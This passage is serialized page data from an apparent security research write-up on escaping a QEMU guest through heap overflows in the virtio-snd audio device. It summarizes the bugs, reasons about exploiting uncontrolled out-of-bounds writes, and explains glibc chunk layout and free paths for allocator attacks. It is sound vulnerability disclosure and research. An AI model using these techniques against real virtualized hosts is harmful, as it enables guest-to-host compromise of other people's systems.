cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[127461],{"type":23,"tag":71,"props":127462,"children":127463},{"__ignoreMap":7},[127464,127472,127501,127518,127538,127545,127562,127569,127576,127583,127605,127612,127619,127626,127672,127715,127759,127767,127804,127840,127876,127883,127900],{"type":23,"tag":230,"props":127465,"children":127466},{"class":232,"line":233},[127467],{"type":23,"tag":230,"props":127468,"children":127469},{"style":256},[127470],{"type":29,"value":127471},"static\n",{"type":23,"tag":230,"props":127473,"children":127474},{"class":232,"line":243},[127475,127479,127484,127489,127493,127497],{"type":23,"tag":230,"props":127476,"children":127477},{"style":256},[127478],{"type":29,"value":59707},{"type":23,"tag":230,"props":127480,"children":127481},{"style":294},[127482],{"type":29,"value":127483}," virtio_snd_set_pcm_params",{"type":23,"tag":230,"props":127485,"children":127486},{"style":274},[127487],{"type":29,"value":127488},"(VirtIOSound ",{"type":23,"tag":230,"props":127490,"children":127491},{"style":268},[127492],{"type":29,"value":6909},{"type":23,"tag":230,"props":127494,"children":127495},{"style":262},[127496],{"type":29,"value":12982},{"type":23,"tag":230,"props":127498,"children":127499},{"style":274},[127500],{"type":29,"value":388},{"type":23,"tag":230,"props":127502,"children":127503},{"class":232,"line":252},[127504,127509,127514],{"type":23,"tag":230,"props":127505,"children":127506},{"style":256},[127507],{"type":29,"value":127508},"                                   uint32_t",{"type":23,"tag":230,"props":127510,"children":127511},{"style":262},[127512],{"type":29,"value":127513}," stream_id",{"type":23,"tag":230,"props":127515,"children":127516},{"style":274},[127517],{"type":29,"value":388},{"type":23,"tag":230,"props":127519,"children":127520},{"class":232,"line":280},[127521,127526,127530,127534],{"type":23,"tag":230,"props":127522,"children":127523},{"style":274},[127524],{"type":29,"value":127525},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":230,"props":127527,"children":127528},{"style":268},[127529],{"type":29,"value":6909},{"type":23,"tag":230,"props":127531,"children":127532},{"style":262},[127533],{"type":29,"value":100061},{"type":23,"tag":230,"props":127535,"children":127536},{"style":274},[127537],{"type":29,"value":4516},{"type":23,"tag":230,"props":127539,"children":127540},{"class":232,"line":334},[127541],{"type":23,"tag":230,"props":127542,"children":127543},{"style":274},[127544],{"type":29,"value":13211},{"type":23,"tag":230,"props":127546,"children":127547},{"class":232,"line":371},[127548,127553,127557],{"type":23,"tag":230,"props":127549,"children":127550},{"style":274},[127551],{"type":29,"value":127552},"    virtio_snd_pcm_set_params ",{"type":23,"tag":230,"props":127554,"children":127555},{"style":268},[127556],{"type":29,"value":6909},{"type":23,"tag":230,"props":127558,"children":127559},{"style":274},[127560],{"type":29,"value":127561},"st_params;\n",{"type":23,"tag":230,"props":127563,"children":127564},{"class":232,"line":391},[127565],{"type":23,"tag":230,"props":127566,"children":127567},{"emptyLinePlaceholder":18},[127568],{"type":29,"value":459},{"type":23,"tag":230,"props":127570,"children":127571},{"class":232,"line":400},[127572],{"type":23,"tag":230,"props":127573,"children":127574},{"style":274},[127575],{"type":29,"value":106580},{"type":23,"tag":230,"props":127577,"children":127578},{"class":232,"line":444},[127579],{"type":23,"tag":230,"props":127580,"children":127581},{"emptyLinePlaceholder":18},[127582],{"type":29,"value":459},{"type":23,"tag":230,"props":127584,"children":127585},{"class":232,"line":453},[127586,127591,127595,127600],{"type":23,"tag":230,"props":127587,"children":127588},{"style":274},[127589],{"type":29,"value":127590},"    st_params ",{"type":23,"tag":230,"props":127592,"children":127593},{"style":268},[127594],{"type":29,"value":863},{"type":23,"tag":230,"props":127596,"children":127597},{"style":294},[127598],{"type":29,"value":127599}," virtio_snd_pcm_get_params",{"type":23,"tag":230,"props":127601,"children":127602},{"style":274},[127603],{"type":29,"value":127604},"(s, stream_id);\n",{"type":23,"tag":230,"props":127606,"children":127607},{"class":232,"line":462},[127608],{"type":23,"tag":230,"props":127609,"children":127610},{"emptyLinePlaceholder":18},[127611],{"type":29,"value":459},{"type":23,"tag":230,"props":127613,"children":127614},{"class":232,"line":471},[127615],{"type":23,"tag":230,"props":127616,"children":127617},{"style":274},[127618],{"type":29,"value":106580},{"type":23,"tag":230,"props":127620,"children":127621},{"class":232,"line":500},[127622],{"type":23,"tag":230,"props":127623,"children":127624},{"emptyLinePlaceholder":18},[127625],{"type":29,"value":459},{"type":23,"tag":230,"props":127627,"children":127628},{"class":232,"line":514},[127629,127634,127638,127643,127647,127652,127656,127660,127664,127668],{"type":23,"tag":230,"props":127630,"children":127631},{"style":262},[127632],{"type":29,"value":127633},"    st_params",{"type":23,"tag":230,"props":127635,"children":127636},{"style":274},[127637],{"type":29,"value":16084},{"type":23,"tag":230,"props":127639,"children":127640},{"style":262},[127641],{"type":29,"value":127642},"buffer_bytes",{"type":23,"tag":230,"props":127644,"children":127645},{"style":268},[127646],{"type":29,"value":271},{"type":23,"tag":230,"props":127648,"children":127649},{"style":294},[127650],{"type":29,"value":127651}," le32_to_cpu",{"type":23,"tag":230,"props":127653,"children":127654},{"style":274},[127655],{"type":29,"value":302},{"type":23,"tag":230,"props":127657,"children":127658},{"style":262},[127659],{"type":29,"value":100061},{"type":23,"tag":230,"props":127661,"children":127662},{"style":274},[127663],{"type":29,"value":16084},{"type":23,"tag":230,"props":127665,"children":127666},{"style":262},[127667],{"type":29,"value":127642},{"type":23,"tag":230,"props":127669,"children":127670},{"style":274},[127671],{"type":29,"value":753},{"type":23,"tag":230,"props":127673,"children":127674},{"class":232,"line":897},[127675,127679,127683,127687,127691,127695,127699,127703,127707,127711],{"type":23,"tag":230,"props":127676,"children":127677},{"style":262},[127678],{"type":29,"value":127633},{"type":23,"tag":230,"props":127680,"children":127681},{"style":274},[127682],{"type":29,"value":16084},{"type":23,"tag":230,"props":127684,"children":127685},{"style":262},[127686],{"type":29,"value":127092},{"type":23,"tag":230,"props":127688,"children":127689},{"style":268},[127690],{"type":29,"value":271},{"type":23,"tag":230,"props":127692,"children":127693},{"style":294},[127694],{"type":29,"value":127651},{"type":23,"tag":230,"props":127696,"children":127697},{"style":274},[127698],{"type":29,"value":302},{"type":23,"tag":230,"props":127700,"children":127701},{"style":262},[127702],{"type":29,"value":100061},{"type":23,"tag":230,"props":127704,"children":127705},{"style":274},[127706],{"type":29,"value":16084},{"type":23,"tag":230,"props":127708,"children":127709},{"style":262},[127710],{"type":29,"value":127092},{"type":23,"tag":230,"props":127712,"children":127713},{"style":274},[127714],{"type":29,"value":753},{"type":23,"tag":230,"props":127716,"children":127717},{"class":232,"line":960},[127718,127722,127726,127731,127735,127739,127743,127747,127751,127755],{"type":23,"tag":230,"props":127719,"children":127720},{"style":262},[127721],{"type":29,"value":127633},{"type":23,"tag":230,"props":127723,"children":127724},{"style":274},[127725],{"type":29,"value":16084},{"type":23,"tag":230,"props":127727,"children":127728},{"style":262},[127729],{"type":29,"value":127730},"features",{"type":23,"tag":230,"props":127732,"children":127733},{"style":268},[127734],{"type":29,"value":271},{"type":23,"tag":230,"props":127736,"children":127737},{"style":294},[127738],{"type":29,"value":127651},{"type":23,"tag":230,"props":127740,"children":127741},{"style":274},[127742],{"type":29,"value":302},{"type":23,"tag":230,"props":127744,"children":127745},{"style":262},[127746],{"type":29,"value":100061},{"type":23,"tag":230,"props":127748,"children":127749},{"style":274},[127750],{"type":29,"value":16084},{"type":23,"tag":230,"props":127752,"children":127753},{"style":262},[127754],{"type":29,"value":127730},{"type":23,"tag":230,"props":127756,"children":127757},{"style":274},[127758],{"type":29,"value":753},{"type":23,"tag":230,"props":127760,"children":127761},{"class":232,"line":969},[127762],{"type":23,"tag":230,"props":127763,"children":127764},{"style":237},[127765],{"type":29,"value":127766},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":230,"props":127768,"children":127769},{"class":232,"line":4526},[127770,127774,127778,127783,127787,127792,127796,127800],{"type":23,"tag":230,"props":127771,"children":127772},{"style":262},[127773],{"type":29,"value":127633},{"type":23,"tag":230,"props":127775,"children":127776},{"style":274},[127777],{"type":29,"value":16084},{"type":23,"tag":230,"props":127779,"children":127780},{"style":262},[127781],{"type":29,"value":127782},"channels",{"type":23,"tag":230,"props":127784,"children":127785},{"style":268},[127786],{"type":29,"value":271},{"type":23,"tag":230,"props":127788,"children":127789},{"style":262},[127790],{"type":29,"value":127791}," params",{"type":23,"tag":230,"props":127793,"children":127794},{"style":274},[127795],{"type":29,"value":16084},{"type":23,"tag":230,"props":127797,"children":127798},{"style":262},[127799],{"type":29,"value":127782},{"type":23,"tag":230,"props":127801,"children":127802},{"style":274},[127803],{"type":29,"value":511},{"type":23,"tag":230,"props":127805,"children":127806},{"class":232,"line":4534},[127807,127811,127815,127820,127824,127828,127832,127836],{"type":23,"tag":230,"props":127808,"children":127809},{"style":262},[127810],{"type":29,"value":127633},{"type":23,"tag":230,"props":127812,"children":127813},{"style":274},[127814],{"type":29,"value":16084},{"type":23,"tag":230,"props":127816,"children":127817},{"style":262},[127818],{"type":29,"value":127819},"format",{"type":23,"tag":230,"props":127821,"children":127822},{"style":268},[127823],{"type":29,"value":271},{"type":23,"tag":230,"props":127825,"children":127826},{"style":262},[127827],{"type":29,"value":127791},{"type":23,"tag":230,"props":127829,"children":127830},{"style":274},[127831],{"type":29,"value":16084},{"type":23,"tag":230,"props":127833,"children":127834},{"style":262},[127835],{"type":29,"value":127819},{"type":23,"tag":230,"props":127837,"children":127838},{"style":274},[127839],{"type":29,"value":511},{"type":23,"tag":230,"props":127841,"children":127842},{"class":232,"line":4542},[127843,127847,127851,127856,127860,127864,127868,127872],{"type":23,"tag":230,"props":127844,"children":127845},{"style":262},[127846],{"type":29,"value":127633},{"type":23,"tag":230,"props":127848,"children":127849},{"style":274},[127850],{"type":29,"value":16084},{"type":23,"tag":230,"props":127852,"children":127853},{"style":262},[127854],{"type":29,"value":127855},"rate",{"type":23,"tag":230,"props":127857,"children":127858},{"style":268},[127859],{"type":29,"value":271},{"type":23,"tag":230,"props":127861,"children":127862},{"style":262},[127863],{"type":29,"value":127791},{"type":23,"tag":230,"props":127865,"children":127866},{"style":274},[127867],{"type":29,"value":16084},{"type":23,"tag":230,"props":127869,"children":127870},{"style":262},[127871],{"type":29,"value":127855},{"type":23,"tag":230,"props":127873,"children":127874},{"style":274},[127875],{"type":29,"value":511},{"type":23,"tag":230,"props":127877,"children":127878},{"class":232,"line":4559},[127879],{"type":23,"tag":230,"props":127880,"children":127881},{"emptyLinePlaceholder":18},[127882],{"type":29,"value":459},{"type":23,"tag":230,"props":127884,"children":127885},{"class":232,"line":4587},[127886,127890,127895],{"type":23,"tag":230,"props":127887,"children":127888},{"style":866},[127889],{"type":29,"value":4427},{"type":23,"tag":230,"props":127891,"children":127892},{"style":294},[127893],{"type":29,"value":127894}," cpu_to_le32",{"type":23,"tag":230,"props":127896,"children":127897},{"style":274},[127898],{"type":29,"value":127899},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":230,"props":127901,"children":127902},{"class":232,"line":4595},[127903],{"type":23,"tag":230,"props":127904,"children":127905},{"style":274},[127906],{"type":29,"value":975},{"type":23,"tag":32,"props":127908,"children":127909},{},[127910,127912,127917,127919,127925,127927,127932,127934,127939,127941,127947,127948,127953],{"type":29,"value":127911},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":71,"props":127913,"children":127915},{"className":127914},[],[127916],{"type":29,"value":5759},{"type":29,"value":127918},") and signed (",{"type":23,"tag":71,"props":127920,"children":127922},{"className":127921},[],[127923],{"type":29,"value":127924},"s8",{"type":29,"value":127926},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":71,"props":127928,"children":127930},{"className":127929},[],[127931],{"type":29,"value":31747},{"type":29,"value":127933}," in ",{"type":23,"tag":71,"props":127935,"children":127937},{"className":127936},[],[127938],{"type":29,"value":5759},{"type":29,"value":127940},", but ",{"type":23,"tag":71,"props":127942,"children":127944},{"className":127943},[],[127945],{"type":29,"value":127946},"0x00",{"type":29,"value":127933},{"type":23,"tag":71,"props":127949,"children":127951},{"className":127950},[],[127952],{"type":29,"value":127924},{"type":29,"value":312},{"type":23,"tag":21113,"props":127955,"children":127956},{},[],{"type":23,"tag":32,"props":127958,"children":127959},{},[127960],{"type":29,"value":127961},"To summarize:",{"type":23,"tag":144,"props":127963,"children":127964},{},[127965,127984,128002],{"type":23,"tag":102,"props":127966,"children":127967},{},[127968,127970,127975,127977,127982],{"type":29,"value":127969},"an integer underflow in the ",{"type":23,"tag":71,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":29,"value":126039},{"type":29,"value":127976}," calculation in ",{"type":23,"tag":71,"props":127978,"children":127980},{"className":127979},[],[127981],{"type":29,"value":125544},{"type":29,"value":127983},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":102,"props":127985,"children":127986},{},[127987,127989,127994,127995,128000],{"type":29,"value":127988},"a mismatch in the ",{"type":23,"tag":71,"props":127990,"children":127992},{"className":127991},[],[127993],{"type":29,"value":127271},{"type":29,"value":127976},{"type":23,"tag":71,"props":127996,"children":127998},{"className":127997},[],[127999],{"type":29,"value":127369},{"type":29,"value":128001},", leading to at most 8-byte OOB write",{"type":23,"tag":102,"props":128003,"children":128004},{},[128005,128007,128012,128014,128019,128021,128026],{"type":29,"value":128006},"a missing bound in the ",{"type":23,"tag":71,"props":128008,"children":128010},{"className":128009},[],[128011],{"type":29,"value":126039},{"type":29,"value":128013}," passed to ",{"type":23,"tag":71,"props":128015,"children":128017},{"className":128016},[],[128018],{"type":29,"value":127389},{"type":29,"value":128020},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":71,"props":128022,"children":128024},{"className":128023},[],[128025],{"type":29,"value":127412},{"type":29,"value":84068},{"type":23,"tag":32,"props":128028,"children":128029},{},[128030,128032,128037,128039,128044,128046,128052],{"type":29,"value":128031},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":71,"props":128033,"children":128035},{"className":128034},[],[128036],{"type":29,"value":127412},{"type":29,"value":128038},", but in our setup with the ALSA backend, ",{"type":23,"tag":71,"props":128040,"children":128042},{"className":128041},[],[128043],{"type":29,"value":127412},{"type":29,"value":128045}," was consistently around ",{"type":23,"tag":71,"props":128047,"children":128049},{"className":128048},[],[128050],{"type":29,"value":128051},"4096",{"type":29,"value":312},{"type":23,"tag":32,"props":128054,"children":128055},{},[128056,128058,128065,128066,128073],{"type":29,"value":128057},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":181,"props":128059,"children":128062},{"href":128060,"rel":128061},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[185],[128063],{"type":29,"value":128064},"commit 1",{"type":29,"value":684},{"type":23,"tag":181,"props":128067,"children":128070},{"href":128068,"rel":128069},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[185],[128071],{"type":29,"value":128072},"commit 2",{"type":29,"value":128074},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":24,"props":128076,"children":128077},{"id":101887},[128078],{"type":29,"value":101890},{"type":23,"tag":32,"props":128080,"children":128081},{},[128082],{"type":29,"value":128083},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":32,"props":128085,"children":128086},{},[128087],{"type":29,"value":128088},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":59,"props":128090,"children":128092},{"id":128091},"achieving-a-better-primitive",[128093],{"type":29,"value":128094},"Achieving a Better Primitive",{"type":23,"tag":32,"props":128096,"children":128097},{},[128098],{"type":29,"value":128099},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":32,"props":128101,"children":128102},{},[128103],{"type":29,"value":128104},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":32,"props":128106,"children":128107},{},[128108],{"type":29,"value":128109},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":192,"props":128111,"children":128113},{"id":128112},"glibc-allocator",[128114],{"type":29,"value":128115},"Glibc Allocator",{"type":23,"tag":32,"props":128117,"children":128118},{},[128119,128121,128128],{"type":29,"value":128120},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":181,"props":128122,"children":128125},{"href":128123,"rel":128124},"https://github.com/shellphish/how2heap",[185],[128126],{"type":29,"value":128127},"how2heap",{"type":29,"value":312},{"type":23,"tag":2023,"props":128130,"children":128132},{"id":128131},"chunk-layout-and-bins",[128133],{"type":29,"value":128134},"Chunk Layout and Bins",{"type":23,"tag":32,"props":128136,"children":128137},{},[128138],{"type":29,"value":128139},"A chunk looks like this:",{"type":23,"tag":220,"props":128141,"children":128143},{"code":128142},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[128144],{"type":23,"tag":71,"props":128145,"children":128146},{"__ignoreMap":7},[128147],{"type":29,"value":128142},{"type":23,"tag":32,"props":128149,"children":128150},{},[128151,128153,128159,128161,128167,128168,128173,128174,128180,128182,128187,128189,128194,128196,128202,128203,128209,128211,128217],{"type":29,"value":128152},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":71,"props":128154,"children":128156},{"className":128155},[],[128157],{"type":29,"value":128158},"prev_size",{"type":29,"value":128160}," field at offset ",{"type":23,"tag":71,"props":128162,"children":128164},{"className":128163},[],[128165],{"type":29,"value":128166},"0x0",{"type":29,"value":2231},{"type":23,"tag":71,"props":128169,"children":128171},{"className":128170},[],[128172],{"type":29,"value":126039},{"type":29,"value":128160},{"type":23,"tag":71,"props":128175,"children":128177},{"className":128176},[],[128178],{"type":29,"value":128179},"0x8",{"type":29,"value":128181},". As the name suggests, ",{"type":23,"tag":71,"props":128183,"children":128185},{"className":128184},[],[128186],{"type":29,"value":128158},{"type":29,"value":128188}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":71,"props":128190,"children":128192},{"className":128191},[],[128193],{"type":29,"value":126039},{"type":29,"value":128195}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":71,"props":128197,"children":128199},{"className":128198},[],[128200],{"type":29,"value":128201},"PREV_INUSE",{"type":29,"value":112},{"type":23,"tag":71,"props":128204,"children":128206},{"className":128205},[],[128207],{"type":29,"value":128208},"IS_MMAPPED",{"type":29,"value":128210}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":71,"props":128212,"children":128214},{"className":128213},[],[128215],{"type":29,"value":128216},"0x10",{"type":29,"value":312},{"type":23,"tag":32,"props":128219,"children":128220},{},[128221],{"type":29,"value":128222},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":2023,"props":128224,"children":128226},{"id":128225},"free-path",[128227],{"type":29,"value":128228},"free() path",{"type":23,"tag":32,"props":128230,"children":128231},{},[128232,128234,128240],{"type":29,"value":128233},"Let’s first look at the ",{"type":23,"tag":71,"props":128235,"children":128237},{"className":128236},[],[128238],{"type":29,"value":128239},"free()",{"type":29,"value":128241}," path in glibc 2.40:",{"type":23,"tag":220,"props":128243,"children":128245},{"code":128244,"language":2148,"meta":7,"className":18839,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[128246],{"type":23,"tag":71,"props":128247,"children":128248},{"__ignoreMap":7},[128249,128277,128284,128292,128300,128307,128329,128350,128357,128370,128377,128385,128392,128405,128412,128433,128454,128461],{"type":23,"tag":230,"props":128250,"children":128251},{"class":232,"line":233},[128252,128257,128261,128265,128269,128273],{"type":23,"tag":230,"props":128253,"children":128254},{"style":294},[128255],{"type":29,"value":128256},"__libc_free",{"type":23,"tag":230,"props":128258,"children":128259},{"style":274},[128260],{"type":29,"value":664},{"type":23,"tag":230,"props":128262,"children":128263},{"style":256},[128264],{"type":29,"value":53400},{"type":23,"tag":230,"props":128266,"children":128267},{"style":268},[128268],{"type":29,"value":12147},{"type":23,"tag":230,"props":128270,"children":128271},{"style":262},[128272],{"type":29,"value":42430},{"type":23,"tag":230,"props":128274,"children":128275},{"style":274},[128276],{"type":29,"value":4516},{"type":23,"tag":230,"props":128278,"children":128279},{"class":232,"line":243},[128280],{"type":23,"tag":230,"props":128281,"children":128282},{"style":274},[128283],{"type":29,"value":13211},{"type":23,"tag":230,"props":128285,"children":128286},{"class":232,"line":252},[128287],{"type":23,"tag":230,"props":128288,"children":128289},{"style":274},[128290],{"type":29,"value":128291},"  mstate ar_ptr;\n",{"type":23,"tag":230,"props":128293,"children":128294},{"class":232,"line":280},[128295],{"type":23,"tag":230,"props":128296,"children":128297},{"style":274},[128298],{"type":29,"value":128299},"  mchunkptr p;\n",{"type":23,"tag":230,"props":128301,"children":128302},{"class":232,"line":334},[128303],{"type":23,"tag":230,"props":128304,"children":128305},{"emptyLinePlaceholder":18},[128306],{"type":29,"value":459},{"type":23,"tag":230,"props":128308,"children":128309},{"class":232,"line":371},[128310,128315,128319,128324],{"type":23,"tag":230,"props":128311,"children":128312},{"style":274},[128313],{"type":29,"value":128314},"  p ",{"type":23,"tag":230,"props":128316,"children":128317},{"style":268},[128318],{"type":29,"value":863},{"type":23,"tag":230,"props":128320,"children":128321},{"style":294},[128322],{"type":29,"value":128323}," mem2chunk",{"type":23,"tag":230,"props":128325,"children":128326},{"style":274},[128327],{"type":29,"value":128328}," (mem);\n",{"type":23,"tag":230,"props":128330,"children":128331},{"class":232,"line":391},[128332,128336,128340,128345],{"type":23,"tag":230,"props":128333,"children":128334},{"style":866},[128335],{"type":29,"value":33698},{"type":23,"tag":230,"props":128337,"children":128338},{"style":274},[128339],{"type":29,"value":664},{"type":23,"tag":230,"props":128341,"children":128342},{"style":294},[128343],{"type":29,"value":128344},"chunk_is_mmapped",{"type":23,"tag":230,"props":128346,"children":128347},{"style":274},[128348],{"type":29,"value":128349}," (p))\n",{"type":23,"tag":230,"props":128351,"children":128352},{"class":232,"line":400},[128353],{"type":23,"tag":230,"props":128354,"children":128355},{"style":274},[128356],{"type":29,"value":31494},{"type":23,"tag":230,"props":128358,"children":128359},{"class":232,"line":444},[128360,128365],{"type":23,"tag":230,"props":128361,"children":128362},{"style":294},[128363],{"type":29,"value":128364},"      munmap_chunk",{"type":23,"tag":230,"props":128366,"children":128367},{"style":274},[128368],{"type":29,"value":128369}," (p);\n",{"type":23,"tag":230,"props":128371,"children":128372},{"class":232,"line":453},[128373],{"type":23,"tag":230,"props":128374,"children":128375},{"style":274},[128376],{"type":29,"value":1552},{"type":23,"tag":230,"props":128378,"children":128379},{"class":232,"line":462},[128380],{"type":23,"tag":230,"props":128381,"children":128382},{"style":866},[128383],{"type":29,"value":128384},"  else\n",{"type":23,"tag":230,"props":128386,"children":128387},{"class":232,"line":471},[128388],{"type":23,"tag":230,"props":128389,"children":128390},{"style":274},[128391],{"type":29,"value":31494},{"type":23,"tag":230,"props":128393,"children":128394},{"class":232,"line":500},[128395,128400],{"type":23,"tag":230,"props":128396,"children":128397},{"style":294},[128398],{"type":29,"value":128399},"      MAYBE_INIT_TCACHE",{"type":23,"tag":230,"props":128401,"children":128402},{"style":274},[128403],{"type":29,"value":128404}," ();\n",{"type":23,"tag":230,"props":128406,"children":128407},{"class":232,"line":514},[128408],{"type":23,"tag":230,"props":128409,"children":128410},{"emptyLinePlaceholder":18},[128411],{"type":29,"value":459},{"type":23,"tag":230,"props":128413,"children":128414},{"class":232,"line":897},[128415,128420,128424,128429],{"type":23,"tag":230,"props":128416,"children":128417},{"style":274},[128418],{"type":29,"value":128419},"      ar_ptr ",{"type":23,"tag":230,"props":128421,"children":128422},{"style":268},[128423],{"type":29,"value":863},{"type":23,"tag":230,"props":128425,"children":128426},{"style":294},[128427],{"type":29,"value":128428}," arena_for_chunk",{"type":23,"tag":230,"props":128430,"children":128431},{"style":274},[128432],{"type":29,"value":128369},{"type":23,"tag":230,"props":128434,"children":128435},{"class":232,"line":960},[128436,128441,128446,128450],{"type":23,"tag":230,"props":128437,"children":128438},{"style":294},[128439],{"type":29,"value":128440},"      _int_free",{"type":23,"tag":230,"props":128442,"children":128443},{"style":274},[128444],{"type":29,"value":128445}," (ar_ptr, p, ",{"type":23,"tag":230,"props":128447,"children":128448},{"style":5149},[128449],{"type":29,"value":6358},{"type":23,"tag":230,"props":128451,"children":128452},{"style":274},[128453],{"type":29,"value":753},{"type":23,"tag":230,"props":128455,"children":128456},{"class":232,"line":969},[128457],{"type":23,"tag":230,"props":128458,"children":128459},{"style":274},[128460],{"type":29,"value":1552},{"type":23,"tag":230,"props":128462,"children":128463},{"class":232,"line":4526},[128464],{"type":23,"tag":230,"props":128465,"children":128466},{"style":274},[128467],{"type":29,"value":975},{"type":23,"tag":32,"props":128469,"children":128470},{},[128471,128473,128478,128480,128485,128487,128493,128495,128501,128503,128508,128510,128515,128517,128522,128524,128529],{"type":29,"value":128472},"We can see that if the ",{"type":23,"tag":71,"props":128474,"children":128476},{"className":128475},[],[128477],{"type":29,"value":128208},{"type":29,"value":128479}," bit is set in the corrupted ",{"type":23,"tag":71,"props":128481,"children":128483},{"className":128482},[],[128484],{"type":29,"value":126039},{"type":29,"value":128486}," field, glibc will call ",{"type":23,"tag":71,"props":128488,"children":128490},{"className":128489},[],[128491],{"type":29,"value":128492},"munmap_chunk",{"type":29,"value":128494},", which internally checks that ",{"type":23,"tag":71,"props":128496,"children":128498},{"className":128497},[],[128499],{"type":29,"value":128500},"prev_size + size",{"type":29,"value":128502}," is page-aligned. To reach the ",{"type":23,"tag":71,"props":128504,"children":128506},{"className":128505},[],[128507],{"type":29,"value":126039},{"type":29,"value":128509}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":71,"props":128511,"children":128513},{"className":128512},[],[128514],{"type":29,"value":128158},{"type":29,"value":128516}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":71,"props":128518,"children":128520},{"className":128519},[],[128521],{"type":29,"value":128500},{"type":29,"value":128523}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":71,"props":128525,"children":128527},{"className":128526},[],[128528],{"type":29,"value":128208},{"type":29,"value":128530}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":32,"props":128532,"children":128533},{},[128534,128536,128541,128543,128549],{"type":29,"value":128535},"Assuming ",{"type":23,"tag":71,"props":128537,"children":128539},{"className":128538},[],[128540],{"type":29,"value":128208},{"type":29,"value":128542}," is not set, execution continues into ",{"type":23,"tag":71,"props":128544,"children":128546},{"className":128545},[],[128547],{"type":29,"value":128548},"_int_free",{"type":29,"value":218},{"type":23,"tag":220,"props":128551,"children":128553},{"code":128552,"language":2148,"meta":7,"className":18839,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[128554],{"type":23,"tag":71,"props":128555,"children":128556},{"__ignoreMap":7},[128557,128569,128612,128619,128627,128634,128655,128662,128670,128678,128686,128694,128758,128793,128814,128822,128830,128878,128898,128905,128918,128925],{"type":23,"tag":230,"props":128558,"children":128559},{"class":232,"line":233},[128560,128564],{"type":23,"tag":230,"props":128561,"children":128562},{"style":256},[128563],{"type":29,"value":52817},{"type":23,"tag":230,"props":128565,"children":128566},{"style":256},[128567],{"type":29,"value":128568}," void\n",{"type":23,"tag":230,"props":128570,"children":128571},{"class":232,"line":243},[128572,128576,128581,128586,128591,128595,128599,128603,128608],{"type":23,"tag":230,"props":128573,"children":128574},{"style":294},[128575],{"type":29,"value":128548},{"type":23,"tag":230,"props":128577,"children":128578},{"style":274},[128579],{"type":29,"value":128580}," (mstate ",{"type":23,"tag":230,"props":128582,"children":128583},{"style":262},[128584],{"type":29,"value":128585},"av",{"type":23,"tag":230,"props":128587,"children":128588},{"style":274},[128589],{"type":29,"value":128590},", mchunkptr 